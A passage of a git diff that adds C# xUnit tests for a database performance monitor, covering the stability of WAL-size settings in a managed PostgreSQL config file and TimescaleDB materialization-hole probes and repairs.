+        Assert.Single(result.ExcludedKeys);
+        Assert.Contains("max_connections", result.ExcludedKeys);
+        Assert.Equal(1, result.NewConfText.Split('\n').Count(l => l == "max_connections = 300"));
+    }
+
     /// <summary><c>max_connections = 300</c> (between v4 and v5, the last assignment of that key anywhere in
     /// the fixture) is the one effective operator line, and it moves below the include.</summary>
     [Fact]
diff --git a/Darling/Darling.Tests/ManagedConfWalRungStabilityTests.cs b/Darling/Darling.Tests/ManagedConfWalRungStabilityTests.cs
new file mode 100644
index 0000000000..03453935a0
--- /dev/null
+++ b/Darling/Darling.Tests/ManagedConfWalRungStabilityTests.cs
@@ -0,0 +1,225 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5459: the <c>max_wal_size</c> and <c>min_wal_size</c> in <c>darling-managed.conf</c> are derived from the data
+/// volume's free space, which a busy machine moves by a few hundred MB between two service starts. A volume
+/// sitting within that distance of a ladder edge (16, 32, 64 or 128 GiB free) used to render a different BODY on
+/// the second start, so <see cref="ManagedConfFile.ShouldReplaceManagedConf"/> saw a real change and rewrote a
+/// file nothing had changed. #5511 gave the postgresql.conf stamp, the settings check and the stored verdicts a
+/// tolerance of one eighth of the free space; the managed-file render did not have it, so the live
+/// "second start does not rewrite" test failed when the runner's disk stood next to an edge. Ungated: plain
+/// file I/O in a temp directory with the volume read replaced, so the same free-space movement is planted on
+/// every machine.
+/// </summary>
+public sealed class ManagedConfWalRungStabilityTests
+{
+    private const long Gib = 1024L * 1024 * 1024;
+    private const long Mib = 1024L * 1024;
+    private const long TotalBytes = 512 * Gib;
+
+    private static ManagedConfFile.RenderInputs SampleInputs(long freeBytes, long? inForceMaxWalSizeMb = null)
+        => new(
+            FormulaVersion: ManagedConfFile.CurrentFormulaVersion,
+            Platform: "Windows",
+            RamBytes: 17_179_869_184L,
+            RamAuthoritative: true,
+            ProcessorCount: 8,
+            HypertableCount: 42,
+            PostgresMajor: 18,
+            DataVolumeFreeBytes: freeBytes,
+            DataVolumeTotalBytes: TotalBytes,
+            DataVolumeAuthoritative: true,
+            Port: 55432,
+            EffectivePreloadList: null,
+            InForceMaxWalSizeMb: inForceMaxWalSizeMb);
+
+    private static DarlingManagedPostgres NewCluster(string dir, long freeBytes)
+        => new(new PostgresConfig { Managed = true, Port = 55432, DataDirectory = dir }, new CapturingTestLogger())
+        {
+            TestOnlyVolumeSpaceReader = _ => (freeBytes, TotalBytes),
+        };
+
+    private static string WalLines(string fileText)
+    {
+        var body = ManagedConfFile.ParseExisting(fileText).Body;
+        var lines = body.Split('\n', StringSplitOptions.RemoveEmptyEntries);
+        return string.Join("|", Array.FindAll(lines, l => l.StartsWith("max_wal_size", StringComparison.Ordinal)
+            || l.StartsWith("min_wal_size", StringComparison.Ordinal)));
+    }
+
+    /// <summary>A busy runner moves free space by a few hundred MB between two starts. Planted on each edge of the
+    /// ladder, in both directions: the file must stay byte-identical with an unchanged write time.</summary>
+    [Theory]
+    [InlineData(16, true)]
+    [InlineData(16, false)]
+    [InlineData(32, true)]
+    [InlineData(32, false)]
+    [InlineData(64, true)]
+    [InlineData(64, false)]
+    [InlineData(128, true)]
+    [InlineData(128, false)]
+    public void SecondStart_FreeSpaceCrossesLadderEdge_DoesNotRewriteFile(long edgeGib, bool crossesUp)
+    {
+        var dir = Directory.CreateTempSubdirectory("darling-5459-edge-");
+        try
+        {
+            File.WriteAllText(Path.Combine(dir.FullName, "postgresql.conf"), "# base conf\n");
+            var below = edgeGib * Gib - 200 * Mib;
+            var above = edgeGib * Gib + 200 * Mib;
+            var firstFree = crossesUp ? below : above;
+            var secondFree = crossesUp ? above : below;
+
+            var first = NewCluster(dir.FullName, firstFree).WriteManagedConfFile(dir.FullName, postgresMajor: 18);
+            Assert.True(first.Written);
+            var managedPath = Path.Combine(dir.FullName, ManagedConfFile.FileName);
+            var bytesAfterFirst = File.ReadAllBytes(managedPath);
+            var writeTimeAfterFirst = File.GetLastWriteTimeUtc(managedPath);
+
+            var second = NewCluster(dir.FullName, secondFree).WriteManagedConfFile(dir.FullName, postgresMajor: 18);
+
+            Assert.False(second.Written, "the second start rewrote the file for a free-space movement of 400 MB");
+            Assert.Equal(bytesAfterFirst, File.ReadAllBytes(managedPath));
+            Assert.Equal(writeTimeAfterFirst, File.GetLastWriteTimeUtc(managedPath));
+            /* The text this start reports it rendered is the file in force, not a rung the file does not hold. */
+            Assert.Equal(WalLines(first.RenderedText), WalLines(second.RenderedText));
+        }
+        finally
+        {
+            Directory.Delete(dir.FullName, recursive: true);
+        }
+    }
+
+    /// <summary>A real change in headroom still rewrites: the tolerance is one eighth of the free space, and
+    /// these move it by far more.</summary>
+    [Theory]
+    [InlineData(40, 128, "max_wal_size = '4096MB'", "max_wal_size = '16384MB'")]
+    [InlineData(128, 40, "max_wal_size = '16384MB'", "max_wal_size = '4096MB'")]
+    [InlineData(20, 100, "max_wal_size = '2048MB'", "max_wal_size = '8192MB'")]
+    [InlineData(100, 20, "max_wal_size = '8192MB'", "max_wal_size = '2048MB'")]
+    public void SecondStart_HeadroomChangesByFarMoreThanTheTolerance_RewritesWithTheNewRung(
+        long firstGib, long secondGib, string firstLine, string secondLine)
+    {
+        var dir = Directory.CreateTempSubdirectory("darling-5459-real-");
+        try
+        {
+            File.WriteAllText(Path.Combine(dir.FullName, "postgresql.conf"), "# base conf\n");
+
+            var first = NewCluster(dir.FullName, firstGib * Gib).WriteManagedConfFile(dir.FullName, postgresMajor: 18);
+            Assert.True(first.Written);
+            Assert.Contains(firstLine, first.RenderedText, StringComparison.Ordinal);
+
+            var second = NewCluster(dir.FullName, secondGib * Gib).WriteManagedConfFile(dir.FullName, postgresMajor: 18);
+
+            Assert.True(second.Written);
+            var managedPath = Path.Combine(dir.FullName, ManagedConfFile.FileName);
+            Assert.Equal(second.RenderedText, File.ReadAllText(managedPath));
+            Assert.Contains(secondLine, second.RenderedText, StringComparison.Ordinal);
+            Assert.DoesNotContain(firstLine, second.RenderedText, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Directory.Delete(dir.FullName, recursive: true);
+        }
+    }
+
+    /// <summary>A file an operator edited is never given the in-force rung: the hand-edit path keeps reporting
+    /// what a fresh render would write, as before.</summary>
+    [Fact]
+    public void HandEditedFile_StillReportsTheFreshRenderForTheWalKeys()
+    {
+        var dir = Directory.CreateTempSubdirectory("darling-5459-hand-");
+        try
+        {
+            File.WriteAllText(Path.Combine(dir.FullName, "postgresql.conf"), "# base conf\n");
+            var first = NewCluster(dir.FullName, 128 * Gib - 200 * Mib).WriteManagedConfFile(dir.FullName, postgresMajor: 18);
+            Assert.True(first.Written);
+            var managedPath = Path.Combine(dir.FullName, ManagedConfFile.FileName);
+            File.AppendAllText(managedPath, "work_mem = '1MB'\n");
+
+            var second = NewCluster(dir.FullName, 128 * Gib + 200 * Mib).WriteManagedConfFile(dir.FullName, postgresMajor: 18);
+
+            Assert.True(second.HandEdited);
+            Assert.False(second.Written);
+            Assert.Contains("max_wal_size = '16384MB'", second.RenderedText, StringComparison.Ordinal);
+        }
+        finally
+        {
+            Directory.Delete(dir.FullName, recursive: true);
+        }
+    }
+
+    [Fact]
+    public void RenderBody_InForceRungWithinTolerance_KeepsTheInForceRung()
+    {
+        var kept = ManagedConfFile.RenderBody(SampleInputs(128 * Gib + 200 * Mib, inForceMaxWalSizeMb: 8192));
+        var atRung = ManagedConfFile.RenderBody(SampleInputs(128 * Gib - 200 * Mib));
+        var fresh = ManagedConfFile.RenderBody(SampleInputs(128 * Gib + 200 * Mib));
+
+        Assert.Equal(atRung, kept);
+        Assert.Contains("max_wal_size = '8192MB'", kept, StringComparison.Ordinal);
+        Assert.Contains("min_wal_size = '2048MB'", kept, StringComparison.Ordinal);
+        Assert.Contains("max_wal_size = '16384MB'", fresh, StringComparison.Ordinal);
+    }
+
+    [Theory]
+    [InlineData(8192L)]   // two rungs below the free space: not within one eighth of it
+    [InlineData(5000L)]   // not a rung of the ladder at all
+    [InlineData(0L)]
+    [InlineData(-4096L)]
+    public void RenderBody_InForceValueOutsideToleranceOrOffTheLadder_IsIgnored(long inForceMb)
+    {
+        var free = 400 * Gib;
+        Assert.Equal(
+            ManagedConfFile.RenderBody(SampleInputs(free)),
+            ManagedConfFile.RenderBody(SampleInputs(free, inForceMaxWalSizeMb: inForceMb)));
+    }
+
+    [Fact]
+    public void RenderBody_NoDataVolumeReading_IgnoresTheInForceRung()
+    {
+        var inputs = SampleInputs(128 * Gib, inForceMaxWalSizeMb: 8192) with { DataVolumeAuthoritative = false };
+        Assert.Equal(
+            ManagedConfFile.RenderBody(inputs with { InForceMaxWalSizeMb = null }),
+            ManagedConfFile.RenderBody(inputs));
+    }
+
+    [Fact]
+    public void DeriveWalSettings_WithInForceRung_AnswersTheRungItKeeps()
+    {
+        var free = 128 * Gib + 200 * Mib;
+        Assert.Equal(new DarlingManagedPostgres.WalSettings(8192, 2048), DarlingManagedPostgres.DeriveWalSettings(free, 8192));
+        Assert.Equal(new DarlingManagedPostgres.WalSettings(16384, 4096), DarlingManagedPostgres.DeriveWalSettings(free, null));
+        Assert.Equal(new DarlingManagedPostgres.WalSettings(16384, 4096), DarlingManagedPostgres.DeriveWalSettings(free, 1024));
+        Assert.Equal(DarlingManagedPostgres.DeriveWalSettings(free), DarlingManagedPostgres.DeriveWalSettings(free, null));
+    }
+
+    [Fact]
+    public void ReadInForceMaxWalSizeMb_ReadsTheRenderedFileAndRefusesAnythingElse()
+    {
+        var rendered = ManagedConfFile.Render(SampleInputs(64 * Gib));
+        Assert.Equal(8192L, ManagedConfFile.ReadInForceMaxWalSizeMb(rendered));
+
+        /* A hand edit, text with no header, a value that is not whole megabytes, or no WAL line at all. */
+        var parsed = ManagedConfFile.ParseExisting(rendered);
+        Assert.Null(ManagedConfFile.ReadInForceMaxWalSizeMb(rendered + "work_mem = '1MB'\n"));
+        Assert.Null(ManagedConfFile.ReadInForceMaxWalSizeMb(parsed.Body));
+        Assert.Null(ManagedConfFile.ReadInForceMaxWalSizeMb(string.Empty));
+
+        /* Without an authoritative disk reading the file carries v4's fixed 4GB, not a whole-MB figure. */
+        var noWal = ManagedConfFile.Render(SampleInputs(64 * Gib) with { DataVolumeAuthoritative = false });
+        Assert.Null(ManagedConfFile.ReadInForceMaxWalSizeMb(noWal));
+    }
+}
diff --git a/Darling/Darling.Tests/MaterializationHoleProbeLiveTests.cs b/Darling/Darling.Tests/MaterializationHoleProbeLiveTests.cs
new file mode 100644
index 0000000000..7482330e90
--- /dev/null
+++ b/Darling/Darling.Tests/MaterializationHoleProbeLiveTests.cs
@@ -0,0 +1,291 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and never touches another
+   database; the scratch store goes with the test. */
+
+/// <summary>
+/// #5521: the hole scan's materialization probe is a range pair (<c>bucket &gt;= b AND bucket &lt;= b</c>), not
+/// <c>bucket = b</c>. On a chunk whose rows all carry one bucket value the equality is estimated to match every
+/// row, so the planner Seq Scans the whole chunk to learn that a MISSING bucket is missing; a range with two
+/// non-constant bounds gets PostgreSQL's flat default estimate, so the probe is an index seek. The first test
+/// proves the answer is unchanged (the pre-#3933 text is the oracle) across compressed and uncompressed chunks,
+/// a bucket only one server holds, and a server whose rows are only in old chunks; the second proves the plan.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class MaterializationHoleProbeLiveTests
+{
+    private const int ServerA = -552101;
+    private const int ServerB = -552102;
+    private const int ServerC = -552103;
+
+    /// <summary>The pre-#3933 scan, verbatim: an equality on the bucket, no fences.</summary>
+    private static string OldScanSql(TimescaleSupport.MaterializationHoleTarget target, (string Schema, string Name) materialization)
+    {
+        var filter = TimescaleSupport.MaterializationHoleSourceFilterFor(target.CreateSql);
+        var sourceFilter = filter.Length == 0 ? string.Empty : $"\n    AND   {filter}";
+
+        return $@"
+SELECT b.bucket
+FROM generate_series($1::timestamp, $2::timestamp, $3::interval) AS b(bucket)
+WHERE NOT EXISTS (SELECT 1 FROM ""{materialization.Schema}"".""{materialization.Name}"" AS m WHERE m.bucket = b.bucket)
+AND   EXISTS (
+    SELECT 1 FROM collect.{target.Source} AS s
+    WHERE s.{target.SourceTimeColumn} >= b.bucket
+    AND   s.{target.SourceTimeColumn} < b.bucket + $3::interval{sourceFilter})
+ORDER BY b.bucket";
+    }
+
+    [Fact]
+    public async Task TheRangePairProbe_FindsExactlyTheOldScansBuckets_AcrossCompressedAndUncompressedChunksAndServers_AgainstDevPostgres()
+    {
+        await using var store = await OpenAsync("the hole-probe oracle test");
+        var (connection, h0, target, materialization) = (store.Connection, store.H0, store.Target, store.Materialization);
+        var ct = TestContext.Current.CancellationToken;
+        DateTime H(int n) => h0.AddHours(n);
+
+        /* Eight UTC days of hourly raw rows for servers A and B; server C only in the first two days, so its rows
+           live only in the oldest chunks. Hour 100 has no raw row at all (a candidate the source probe rejects). */
+        var all = Enumerable.Range(0, 192).Where(h => h != 100).ToArray();
+        await PlantAsync(connection, h0, all, ServerA, ct);
+        await PlantAsync(connection, h0, all, ServerB, ct);
+        await PlantAsync(connection, h0, Enumerable.Range(0, 48).ToArray(), ServerC, ct);
+
+        await using (var refresh = new NpgsqlCommand(
+            $"CALL refresh_continuous_aggregate('collect.{target.View}'::regclass, $1::timestamp, $2::timestamp)", connection))
+        {
+            refresh.Parameters.AddWithValue(h0);
+            refresh.Parameters.AddWithValue(H(192));
+            await refresh.ExecuteNonQueryAsync(ct);
+        }
+
+        /* Holes: hour 30 (a day that is compressed below) and hour 150 (a day that stays uncompressed), deleted
+           from the materialization for every server. Hour 10: servers A and B deleted, server C's row kept, so
+           the bucket is covered by the one server that holds it and is NOT a hole. */
+        await using (var punch = new NpgsqlCommand(
+            $"DELETE FROM \"{materialization.Schema}\".\"{materialization.Name}\" WHERE bucket = ANY($1) OR (bucket = $2 AND server_id <> $3)", connection))
+        {
+            punch.Parameters.AddWithValue(new[] { H(30), H(150) });
+            punch.Parameters.AddWithValue(H(10));
+            punch.Parameters.AddWithValue(ServerC);
+            await punch.ExecuteNonQueryAsync(ct);
+        }
+
+        await using (var compress = new NpgsqlCommand(
+            $"SELECT count(compress_chunk(c)) FROM show_chunks('\"{materialization.Schema}\".\"{materialization.Name}\"'::regclass, older_than => $1::timestamp) AS c", connection))
+        {
+            compress.Parameters.AddWithValue(H(5 * 24));
+            Assert.True((long)(await compress.ExecuteScalarAsync(ct))! >= 4, "the oldest days must be compressed for the test to mean anything");
+        }
+
+        await using (var kinds = new NpgsqlCommand(
+            @"SELECT count(*) FILTER (WHERE is_compressed), count(*) FILTER (WHERE NOT is_compressed)
+              FROM timescaledb_information.chunks WHERE hypertable_schema = $1 AND hypertable_name = $2", connection))
+        {
+            kinds.Parameters.AddWithValue(materialization.Schema);
+            kinds.Parameters.AddWithValue(materialization.Name);
+            await using var reader = await kinds.ExecuteReaderAsync(ct);
+            Assert.True(await reader.ReadAsync(ct));
+            Assert.True(reader.GetInt64(0) >= 4 && reader.GetInt64(1) >= 2, "both chunk kinds must be present");
+        }
+
+        var current = await ScanAsync(connection, TimescaleSupport.MaterializationHoleScanSql(target, materialization), h0, H(191), target.BucketWidth, ct);
+        var oracle = await ScanAsync(connection, OldScanSql(target, materialization), h0, H(191), target.BucketWidth, ct);
+
+        Assert.Equal(oracle, current);
+        Assert.Equal(new[] { H(30), H(150) }, current);
+    }
+
+    [Fact]
+    public async Task AMissingBucketInAChunkWhoseRowsShareOneBucket_IsAnIndexSeek_NotASeqScan_AgainstDevPostgres()
+    {
+        await using var store = await OpenAsync("the hole-probe plan test");
+        var (connection, h0, target, materialization) = (store.Connection, store.H0, store.Target, store.Materialization);
+        var ct = TestContext.Current.CancellationToken;
+        var relation = $"\"{materialization.Schema}\".\"{materialization.Name}\"";
+
+        /* One bucket (hour 0 of a day) with 60,000 rows straight into the materialization: the chunk's bucket
+           column has n_distinct 1, which is what a freshly refreshed field chunk looks like. The chunk is not
+           vacuumed (no all-visible pages), as a chunk the refresh keeps rewriting is not. */
+        await using (var seed = new NpgsqlCommand($@"
+INSERT INTO {relation} (server_id, server_name, database_name, query_hash, sql_handle, bucket)
+SELECT 1 + g % 3, 'plan-5521', 'db' || (g % 5), md5(g::text), 'h', $1::timestamp
+FROM generate_series(1, 60000) AS g", connection))
+        {
+            seed.Parameters.AddWithValue(h0);
+            await seed.ExecuteNonQueryAsync(ct);
+        }
+
+        string chunk;
+        await using (var find = new NpgsqlCommand(
+            "SELECT format('%I.%I', chunk_schema, chunk_name) FROM timescaledb_information.chunks WHERE hypertable_schema = $1 AND hypertable_name = $2", connection))
+        {
+            find.Parameters.AddWithValue(materialization.Schema);
+            find.Parameters.AddWithValue(materialization.Name);
+            chunk = (string)(await find.ExecuteScalarAsync(ct))!;
+        }
+
+        await using (var quiet = new NpgsqlCommand($"ALTER TABLE {chunk} SET (autovacuum_enabled = false); ANALYZE {chunk};", connection))
+        {
+            await quiet.ExecuteNonQueryAsync(ct);
+        }
+
+        var scan = TimescaleSupport.MaterializationHoleScanSql(target, materialization);
+        var equality = scan.Replace("m.bucket >= b.bucket AND m.bucket <= b.bucket", "m.bucket = b.bucket", StringComparison.Ordinal);
+        Assert.NotEqual(scan, equality);
+
+        /* The control: the equality probe seq-scans the chunk for the missing hours. If a planner version stops
+           doing that the premise is gone and there is nothing to pin. */
+        var control = await ExecutedChunkScansAsync(connection, equality, h0, h0.AddHours(2), target.BucketWidth, ct);
+        Assert.SkipWhen(!control.Contains("Seq Scan"), "this planner no longer seq-scans a one-bucket chunk for a missing bucket; the #5521 premise does not hold here");
+
+        var probe = await ExecutedChunkScansAsync(connection, scan, h0, h0.AddHours(2), target.BucketWidth, ct);
+        Assert.DoesNotContain("Seq Scan", probe);
+        Assert.Contains(probe, n => n.Contains("Index", StringComparison.Ordinal));
+    }
+
+    /* ───────────────────────────── helpers ───────────────────────────── */
+
+    private sealed class Store(
+        ScratchPostgres scratch, NpgsqlConnection connection, DateTime h0,
+        TimescaleSupport.MaterializationHoleTarget target, (string Schema, string Name) materialization) : IAsyncDisposable
+    {
+        public NpgsqlConnection Connection { get; } = connection;
+
+        public DateTime H0 { get; } = h0;
+
+        public TimescaleSupport.MaterializationHoleTarget Target { get; } = target;
+
+        public (string Schema, string Name) Materialization { get; } = materialization;
+
+        public async ValueTask DisposeAsync()
+        {
+            await Connection.DisposeAsync();
+            await scratch.DisposeAsync();
+        }
+    }
+
+    /// <summary>A scratch store with the aggregates and their compression settings, background workers stopped so
+    /// no policy runs under the test.</summary>
+    private static async Task<Store> OpenAsync(string what)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            $"Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run {what}.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        try
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            Assert.SkipWhen(!await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct),
+                $"{what} needs TimescaleDB: a materialization chunk exists only with it.");
+
+            await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+            await TimescaleSupport.EnsureAggregateCompressionAsync(connection, null, ct);
+            await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+            {
+                await stop.ExecuteNonQueryAsync(ct);
+            }
+
+            var target = TimescaleSupport.MaterializationHoleTargets.Single(t => t.View == TimescaleSupport.QueryStatsIntervalHourlyView);
+            var materialization = await TimescaleSupport.ResolveMaterializationAsync(connection, target.View, ct);
+            Assert.NotNull(materialization);
+
+            /* Midnight UTC twenty days back: below every refresh policy's window. */
+            var h0 = LiveClock.Now().Date.AddDays(-20);
+            return new Store(scratch, connection, h0, target, materialization.Value);
+        }
+        catch
+        {
+            /* A skip is an exception too: the scratch database goes with it either way. */
+            await connection.DisposeAsync();
+            await scratch.DisposeAsync();
+            throw;
+        }
+    }
+
+    /// <summary>Three collections an hour, two hashes each, for one server.</summary>
+    private static async Task PlantAsync(NpgsqlConnection connection, DateTime h0, int[] hours, int serverId, CancellationToken ct)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+SELECT h * 1000 + m * 10 + q, $1 + make_interval(hours => h, mins => m), $2, 'probe-5521-' || $2, 'ProbeDb', '0xHASH' || q, '0xHANDLE' || q, 1000, 1000, 10, 1200
+FROM unnest($3::int[]) AS h, (VALUES (0), (20), (40)) AS c(m), (VALUES (1), (2)) AS k(q)", connection);
+        insert.Parameters.AddWithValue(h0);
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(hours);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<DateTime[]> ScanAsync(NpgsqlConnection connection, string sql, DateTime from, DateTime to, TimeSpan width, CancellationToken ct)
+    {
+        var buckets = new List<DateTime>();
+        await using var scan = new NpgsqlCommand(sql, connection);
+        scan.Parameters.AddWithValue(from);
+        scan.Parameters.AddWithValue(to);
+        scan.Parameters.AddWithValue(width);
+        await using var reader = await scan.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            buckets.Add(reader.GetDateTime(0));
+        }
+
+        return buckets.ToArray();
+    }
+
+    /// <summary>The node types that RAN (Actual Loops above 0) against a materialization chunk, from the plan.</summary>
+    private static async Task<List<string>> ExecutedChunkScansAsync(
+        NpgsqlConnection connection, string sql, DateTime from, DateTime to, TimeSpan width, CancellationToken ct)
+    {
+        await using var explain = new NpgsqlCommand("EXPLAIN (ANALYZE, FORMAT JSON) " + sql, connection);
+        explain.Parameters.AddWithValue(from);
+        explain.Parameters.AddWithValue(to);
+        explain.Parameters.AddWithValue(width);
+        var json = (string)(await explain.ExecuteScalarAsync(ct))!;
+        using var plan = JsonDocument.Parse(json);
+
+        return Walk(plan.RootElement[0].GetProperty("Plan"))
+            .Where(n => n.TryGetProperty("Relation Name", out var rel) && rel.GetString()!.StartsWith("_hyper_", StringComparison.Ordinal)
+                && n.TryGetProperty("Actual Loops", out var loops) && loops.GetInt32() > 0)
+            .Select(n => n.GetProperty("Node Type").GetString()!)
+            .ToList();
+    }
+
+    private static IEnumerable<JsonElement> Walk(JsonElement node)
+    {
+        yield return node;
+        if (node.TryGetProperty("Plans", out var plans))
+        {
+            foreach (var child in plans.EnumerateArray())
+            {
+                foreach (var descendant in Walk(child))
+                {
+                    yield return descendant;
+                }
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/MaterializationHoleRepairTests.cs b/Darling/Darling.Tests/MaterializationHoleRepairTests.cs
index 4c03923e88..f30cc6ab29 100644
--- a/Darling/Darling.Tests/MaterializationHoleRepairTests.cs
+++ b/Darling/Darling.Tests/MaterializationHoleRepairTests.cs
@@ -42,7 +42,8 @@ public void Targets_AreEveryRegisteredAggregate_InDependencyOrder_WithTheirOwnCr
         Assert.Equal(registered.Length, targets.Count);
         // #3653 LC: 26 (A6 lane LB's count) minus the six the freeze took out of HourlyAggregates/DailyAggregates
         // (they stay in TimescaleSupport.RollupViews and FrozenRollupAggregates, but nothing repairs them now).
-        Assert.Equal(20, targets.Count);
+        /* 20 + the two io hourlies (#5329). */
+        Assert.Equal(22, targets.Count);
         Assert.Equal(registered.Select(a => a.View).OrderBy(v => v, StringComparer.Ordinal), targets.Select(t => t.View).OrderBy(v => v, StringComparer.Ordinal));
 
         /* The rollups come first in the backfill's dependency order — every raw-sourced rollup before the
@@ -130,7 +131,7 @@ public void TheSourceFilter_IsTheAggregatesOwnWhere_Verbatim_OrEmpty()
         var sql = TimescaleSupport.MaterializationHoleScanSql(target, ("_timescaledb_internal", "_materialized_hypertable_42"))
             .Replace("\r\n", "\n", StringComparison.Ordinal);
         Assert.Contains("generate_series($1::timestamp, $2::timestamp, $3::interval)", sql, StringComparison.Ordinal);
-        Assert.Contains("NOT EXISTS (SELECT 1 FROM \"_timescaledb_internal\".\"_materialized_hypertable_42\" AS m WHERE m.bucket = b.bucket OFFSET 0)", sql, StringComparison.Ordinal);
+        Assert.Contains("NOT EXISTS (SELECT 1 FROM \"_timescaledb_internal\".\"_materialized_hypertable_42\" AS m WHERE m.bucket >= b.bucket AND m.bucket <= b.bucket OFFSET 0)", sql, StringComparison.Ordinal);
         Assert.Contains("FROM collect.query_stats AS s", sql, StringComparison.Ordinal);
         Assert.Contains("s.collection_time >= c.bucket", sql, StringComparison.Ordinal);
         Assert.Contains("s.collection_time < c.bucket + $3::interval", sql, StringComparison.Ordinal);
@@ -416,6 +417,13 @@ public void LegacySuccessorHoleExistsSql_WrapsTheBucketsClauseInExists()
         Assert.EndsWith(")", existsSql, StringComparison.Ordinal);
         Assert.Contains("generate_series(", existsSql, StringComparison.Ordinal);
         Assert.Contains("OFFSET 0", existsSql, StringComparison.Ordinal);
+
+        /* #5521: both bucket probes are range pairs (the equality is estimated from n_distinct and Seq Scans a
+           chunk with few bucket values for a missing bucket), the same text MaterializationHoleScanSql uses. */
+        Assert.Contains("hl.bucket >= hb.bucket AND hl.bucket <= hb.bucket", existsSql, StringComparison.Ordinal);
+        Assert.Contains("hs.bucket >= hb.bucket AND hs.bucket <= hb.bucket", existsSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("hl.bucket = hb.bucket", existsSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("hs.bucket = hb.bucket", existsSql, StringComparison.Ordinal);
     }
 
     /// <summary>
@@ -695,7 +703,7 @@ admitted the same way the legacy used to admit it. */
         /* Twelve hours, all inside the raw horizon: H0-H2 collected and refreshed before the outage, H3-H4 the
            pre-outage TAIL (collected, never refreshed), H5-H8 the outage (nothing collected), H9-H10 collected
            after resume and refreshed by the first post-resume window. H11 is the still-filling current hour. */
-        var h0 = DateTime.SpecifyKind(DateTime.UtcNow.Date.AddDays(-1), DateTimeKind.Unspecified);
+        var h0 = LiveClock.Now().Date.AddDays(-1);
         DateTime H(int n) => h0.AddHours(n);
 
         await InsertHoursAsync(connection, new[] { 0, 1, 2 }, H, ct);
@@ -732,7 +740,7 @@ own trailing window. */
 
         /* THE REPAIR: one forced refresh over [H3, H5) and nothing else. */
         var log = new CapturingTestLogger();
-        var summary = await TimescaleSupport.RepairMaterializationHolesAsync(connection, log, DateTime.UtcNow, ct);
+        var summary = await TimescaleSupport.RepairMaterializationHolesAsync(connection, log, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
 
         Assert.Equal(1, summary.HolesRepaired);
         Assert.Equal(2, summary.BucketsRepaired);
@@ -774,7 +782,7 @@ assertion is what says the premise moved. */
            carries the cost of proving it. A pass that fell silent here would read the same as one that never
            ran; a pass that returns this cannot. */
         var quietLog = new CapturingTestLogger();
-        var again = await TimescaleSupport.RepairMaterializationHolesAsync(connection, quietLog, DateTime.UtcNow, ct);
+        var again = await TimescaleSupport.RepairMaterializationHolesAsync(connection, quietLog, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
         Assert.Equal(0, again.HolesRepaired);
         Assert.Equal(0, again.Failures);
         Assert.Equal(0, again.HolesFound);
@@ -806,7 +814,7 @@ carries the cost of proving it. A pass that fell silent here would read the same
         Assert.Equal(new[] { H(1) }, await ScanAsync(connection, target, materialization.Value, H(0), H(10), ct));
 
         var forcedLog = new CapturingTestLogger();
-        var forcedSummary = await TimescaleSupport.RepairMaterializationHolesAsync(connection, forcedLog, DateTime.UtcNow, ct);
+        var forcedSummary = await TimescaleSupport.RepairMaterializationHolesAsync(connection, forcedLog, DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc), ct);
         Assert.Equal(1, forcedSummary.HolesRepaired);
         Assert.Equal(1, forcedSummary.HolesForced);
         Assert.Equal(0, forcedSummary.HolesRemaining);
@@ -884,10 +892,10 @@ public async Task OneHoleRepairedAndOneDeferred_TheTallyCarriesFoundRepairedAndD
         /* H0 materialized (the floor), H1..H26 collected and never refreshed (26 buckets of hole, cap + 2),
            H27 collected and refreshed (the ceiling). H28 = now - 32 h sits below the policy window; H0 = now - 60 h
            sits well inside the 4-day raw horizon. */
-        var h0 = TimescaleSupport.AlignDown(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified), TimescaleSupport.HourlyBucket).AddHours(-60);
+        var h0 = TimescaleSupport.AlignDown(LiveClock.Now(), TimescaleSupport.HourlyBucket).AddHours(-60);
         DateTime H(int n) => h0.AddHours(n);
-        Assert.True(H(28) < DateTime.UtcNow - TimescaleSupport.HourlyRefreshStartSpan, "the whole plant must sit below the hourly policy window");
